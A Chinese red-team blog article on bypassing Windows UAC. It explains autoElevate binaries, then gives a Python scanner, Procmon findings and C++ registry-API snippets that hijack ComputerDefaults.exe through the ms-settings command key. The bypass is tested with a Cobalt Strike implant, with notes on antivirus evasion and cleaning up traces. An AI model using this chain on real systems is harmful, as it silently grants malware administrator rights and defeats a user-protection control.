Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >关于bypassuac的探究

关于bypassuac的探究

作者头像
红队蓝军
发布于 2022-05-17 10:03:54
发布于 2022-05-17 10:03:54
1K00
代码可运行
举报
文章被收录于专栏:红队蓝军红队蓝军
运行总次数:0
代码可运行

基础知识

用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。

使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。

用户帐户控制(UAC)是新版Windows的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。

image-20211016212853809

而在这些程序里面,有的需要授权、有的不需要,是因为UAC是分授权等级的

首先请按Win+R,输入gpedit.msc,打开组策略。

然后我们在左侧窗口找到“计算机配置–Windows设置–安全设置–本地策略–安全选项”,再在右侧窗口找到“用户帐户控制:管理员批准模式中管理员的提升权限提示的行为”,双击该条目,打开设置窗口,如下图:

image-20211016213220316

不提示直接提升:关闭UAC,需要权限时直接提升权限。 在安全桌面上提示凭据:需要权限时在安全桌面上输入管理员密码提升权限。 在安全桌面上同意提示:需要权限时在安全桌面上选择“允许”提升权限。 提示凭据:需要权限时在普通窗口中输入管理员密码提升权限。 同意提示:需要权限时在普通窗口中选择“允许”提升权限。 非 Windows 二进制文件的同意提示:(默认设置)当非 Microsoft 应用程序的某个操作需要提升权限时,选择“允许”提升权限。

因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。

如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在Linux中的相应操作类似。

•程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力•权限提升仅对此次进程有效

提升权限的操作大致有两个:

•自动提权请求•手动提权请求

手动提权就是“以管理员身份运行”,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器

在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。

visual studio里面的uac

在visual studio里面有一个manifest文件,这个文件本质上是一个xml文件,用于标识当前应用程序的配置属性。其中这几个级别明细如下

•aslnvoker 默认权限•highestAvailable 最高权限•requireAdministrator 必须是管理员权限

image-20211016213521655

将编译选项调整为requireAdministrator,则当用户运行程序后,将获得管理员权限会话,不需要绕过UAC。

挖掘白名单的uac程序

有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。这些程序拥有autoElevate属性的值为True,会在启动时就静默提升权限。

那么我们要寻找的uac程序需要符合以下几个要求:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 程序的manifest标识的配置属性 autoElevate 为true
2. 程序不弹出UAC弹窗
3. 从注册表里查询Shell\Open\command键值对

首先是寻找autoElevate为true的程序,这里就写一个py脚本去批量跑一下,这里就找system32目录下面的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import os 
from subprocess import * 
 
path = 'c:\windows\system32' 
files = os.listdir(path) 
print(files) 
def GetFileList(path, fileList): 
    newDir = path 
    if os.path.isfile(path): 
        if path[-4:] == '.exe': 
            fileList.append(path) 
    elif os.path.isdir(path): 
        try: 
            for s in os.listdir(path): 
                newDir=os.path.join(path,s) 
                GetFileList(newDir, fileList) 
        except Exception as e: 
            pass 
    return fileList 
files = GetFileList(path, []) 
print(files) 

for eachFile in files: 
    if eachFile[-4:] == '.exe': 
        command = r'.\sigcheck64.exe -m {} | findstr auto'.format(eachFile) 
        print(command) 
        p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE) 
        if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'): 
            copy_command = r'copy {} .\success'.format(eachFile) 
            Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE) 
            print('[+] {}'.format(eachFile)) 
            with open('success.txt', 'at') as f: 
                f.writelines('{}\n'.format(eachFile))

image-20211016220144729

整理之后exe如下所示

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
c:\windows\system32\bthudtask.exe 
c:\windows\system32\changepk.exe 
c:\windows\system32\ComputerDefaults.exe 
c:\windows\system32\dccw.exe 
c:\windows\system32\dcomcnfg.exe 
c:\windows\system32\DeviceEject.exe 
c:\windows\system32\DeviceProperties.exe 
c:\windows\system32\djoin.exe 
c:\windows\system32\easinvoker.exe 
c:\windows\system32\EASPolicyManagerBrokerHost.exe 
c:\windows\system32\eudcedit.exe 
c:\windows\system32\eventvwr.exe 
c:\windows\system32\fodhelper.exe 
c:\windows\system32\fsquirt.exe 
c:\windows\system32\FXSUNATD.exe 
c:\windows\system32\immersivetpmvscmgrsvr.exe 
c:\windows\system32\iscsicli.exe 
c:\windows\system32\iscsicpl.exe 
c:\windows\system32\lpksetup.exe 
c:\windows\system32\MSchedExe.exe 
c:\windows\system32\msconfig.exe 
c:\windows\system32\msra.exe 
c:\windows\system32\MultiDigiMon.exe 
c:\windows\system32\newdev.exe 
c:\windows\system32\odbcad32.exe 
c:\windows\system32\PasswordOnWakeSettingFlyout.exe 
c:\windows\system32\pwcreator.exe 
c:\windows\system32\rdpshell.exe 
c:\windows\system32\recdisc.exe 
c:\windows\system32\rrinstaller.exe 
c:\windows\system32\shrpubw.exe 
c:\windows\system32\slui.exe 
c:\windows\system32\Sysprep\sysprep.exe 
c:\windows\system32\SystemPropertiesAdvanced.exe 
c:\windows\system32\SystemPropertiesComputerName.exe 
c:\windows\system32\SystemPropertiesDataExecutionPrevention.exe 
c:\windows\system32\SystemPropertiesHardware.exe 
c:\windows\system32\SystemPropertiesPerformance.exe 
c:\windows\system32\SystemPropertiesProtection.exe 
c:\windows\system32\SystemPropertiesRemote.exe 
c:\windows\system32\SystemSettingsAdminFlows.exe 
c:\windows\system32\SystemSettingsRemoveDevice.exe 
c:\windows\system32\Taskmgr.exe 
c:\windows\system32\tcmsetup.exe
c:\windows\system32\TpmInit.exe 
c:\windows\system32\WindowsUpdateElevatedInstaller.exe 
c:\windows\system32\WSReset.exe 
c:\windows\system32\wusa.exe

然后再去寻找不弹uac框的程序,这里我就从上往下开始尝试,找到的是ComputerDefaults.exe 这个exe

image-20211016221104589

运行之后直接就会出现默认应用这个界面

image-20211016221138338

uac程序特性探究

通常以shell\open\command命名的键值对存储的是可执行文件的路径,如果exe程序运行的时候找到该键值对,就会运行该键值对的程序,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。

这里使用proc监听ComputerDefaults.exe

image-20211016221423023

发现他会去查询HKCU\Software\Classes\ms-settings\Shell\Open\command里面的值

image-20211016221817014

那么我们创建一个HKCU\Software\Classes\ms-settings\Shell\Open\command路径,再对ComputerDefaults.exe进行监听尝试

image-20211017091454743

然后发现他还会去查询HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute,而且Result显示的是NAME NOT FOUND,那么可以认为首先去查询HKCU\Software\Classes\ms-settings\Shell\Open\command路径下的注册表,再去查询HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute是否存在

image-20211017091515874

那么这里我创建一个DelegateExecute的键值对,然后把默认键值对指向我的一个程序进行尝试

image-20211017091924459

当我运行c:\windows\system32\ComputerDefaults.exe的时候,发现不再弹出的是默认进程的界面,而是打开了我自己的程序

image-20211017091938973

那么这里就可以大胆的猜测一下,首先运行ComputerDefaults.exe这个程序之前,会查询HKCU:\Software\Classes\ms-settings\shell\open\command这个目录是否存在,若存在继续寻找同目录下是否有DelegateExecute这个键值对,若两者都存在则执行HKCU:\Software\Classes\ms-settings\shell\open\command指向的exe路径

为了验证猜想,这里我将exe路径改为cmd,若猜测成立则可以获得管理员权限的cmd

image-20211017093613046

whoami /priv查看一下果然成功

image-20211017092548298

bypass的实现

经过上面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute这个键值对,并修改command的指向exe路径即可bypassuac,那么这里用到一下几个函数

RegCreateKeyExA

首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command这个路径的操作,这个路径默认情况下是不存在的

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

hkey:句柄 lpSubKey:此函数打开或创建的子项的名称 Reserved:保留参数,必须为0 lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL dwOptions:有几个值,使用的时候具体查询 samDesired:指定要创建的密钥的访问权限的掩码 lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针 phkResult:指向接收打开或创建的键的句柄的变量的指针 lpdwDisposition:指向处置值变量的指针

RegSetValueExA

再就是修改注册表项,指向我们的恶意exe路径

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

hkey:句柄 lpValueName:要设置的值的名称 Reserved:保留参数,必须为0 dwType:lpData参数指向的数据类型 lpData:要存储的数据 cbData:lpData参数指向的信息的大小,以字节为单位

RegDeleteTreeA

执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LSTATUS RegDeleteTreeA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey
);

hkey:句柄 lpSubKey:密钥的名称

首先创建注册表项

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

然后给注册表赋值指向exe路径

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

添加删除注册表键,即DelegateExecute

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

然后调用cmd创建ComputerDefaults.exe这个进程

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

调用完成之后删除注册表项

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

这里测试一下,先把路径写成cmd.exe

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
char filePath[] = "C:\\Windows\\System32\\cmd.exe";

实现效果如下

bypassuac1

这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径

image-20211017100650622

实现效果如下

bypassuac2

这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别

仔细看的话这里bypass过的右上角有一个*

image-20211017101100492

首先看一下第一个对话

image-20211017101213812

再看下第二个对话,很明显这里已经bypass过了uac

image-20211017101227926

思考

我们所使用的几个api,如RegCreateKeyExARegSetKeyExA都是直接修改注册表的操作,这种操作应该被归类为敏感操作,那么这里会不会被杀软拦截呢,去测试一下

windows defender正常上线

image-20211017102642754

获取到的权限也是bypassuac后的权限

image-20211017102832575

再看一下360,这里我试了两个方法,第一种方法是直接对artifact.exe做一下免杀,然后执行bypassuac.exe可以正常上线并bypassuac,但是如果使用注入shellcode到其他的exe就不能够获得uac权限

image-20211017103146543

如图所示,这里我思考了一下,因为如果注入shellcode到其他程序,注册表指向的还是这个注入shellcode到其他程序的exe,所以后面那种方法是不能够bypassuac的

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
实战 | BypassUAC的研究和思路
用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。
HACK学习
2021/11/02
1.5K0
BypassUAC技术总结
用户帐户控制(User Account Control,简写作UAC)是微软公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。 管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。但当管理员要执行高风险操作(如安装程序等),就需要提升权限去完成这些任务。这个提升权限的过程通常是这样的,相信各位都眼熟过。
ConsT27
2022/02/11
9720
BypassUAC技术总结
利用注册表键值Bypass UAC
fodhelper.exe是一个具备autoElevate属性且是微软自带的工具,具备微软签名,该程序在执行过程中会将注册表中HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容当作命令执行。接下来笔者通过该程序大致地讲解一下如何通过fodhelper.exe绕过UAC。
一只特立独行的兔先生
2024/02/14
8010
利用注册表键值Bypass UAC
Pekraut:新的RAT木马来袭,功能丰富
最近新出现了一个功能丰富的RAT名为Pekraut,经过分析后推测可能来源于德国。
FB客服
2020/05/14
1.6K0
Pekraut:新的RAT木马来袭,功能丰富
Permission elevation
前言 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习) 系统服务提权 低权限用户可以检查"Authenticated Users"组和"INTERACTIVE"组对系统服务的权限。 "Authenticated Users"组:经过身份验证的用户,但不包括来宾账户 组:包含所有直接登录到计算机进行操作的用户。 不安全的服务权限 如果低权限用户可以对一些高权限服务启动时的文件有写权限,那么就可以将其替换
FB客服
2023/03/30
1K0
Permission elevation
红队笔记 - 提权&权限维持
通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:
Khan安全团队
2021/10/12
1.5K0
干货 | COM劫持实战演示
COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
HACK学习
2021/10/20
2.2K0
Bypass-UAC(用户帐户控制)的那些事
在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。
FB客服
2021/10/11
2.1K0
windows提权看这一篇就够了
windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏,反复看,熟能生巧!
Gamma实验室
2021/01/11
17.3K0
windows提权看这一篇就够了
权限维持方法小结
WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server
中龙技术
2022/09/29
3.5K0
权限维持方法小结
Windows 权限提升
本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。
重生信息安全
2020/07/15
3.9K0
Windows 权限提升
红队常用命令
如下编码网站: https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/
reyeye
2023/10/13
3.5K0
Windows中常见后门持久化方法总结
当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法
HACK学习
2019/10/09
2.9K0
Windows中常见后门持久化方法总结
一文了解提权:溢出提权和第三方组件提权
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了
中龙技术
2022/09/29
1.8K0
一文了解提权:溢出提权和第三方组件提权
渗透测试与开发技巧
https://github.com/3gstudent/Pentest-and-Development-Tips
天钧
2021/01/05
4.7K0
bypassUAC && DLL劫持
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
鸿鹄实验室
2021/04/01
1.3K0
bypassUAC && DLL劫持
Windows 提权
当我们通过webshell拿到一个普通用户的权限,由于是普通用户所以很多操作都会受限制。这就需要通过一定的方法将普通用户提权到更高权限的用户。
鸿鹄实验室
2022/11/02
2.1K0
Windows 提权
windows权限维持(二)
在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU\Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行
鸿鹄实验室
2021/04/15
1.7K0
windows权限维持(二)
BypassUAC
伪装进程的方式其实也可以算做借助了白名单,但是没有直接调用白名单进程,所以单独列出来了。
CN_Simo
2020/05/05
2.4K0
使用Metasploit绕过UAC的多种方法
本文来源:https://www.cnblogs.com/backlion/p/10552137.html
用户1631416
2019/05/24
1.7K0
相关推荐
实战 | BypassUAC的研究和思路
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验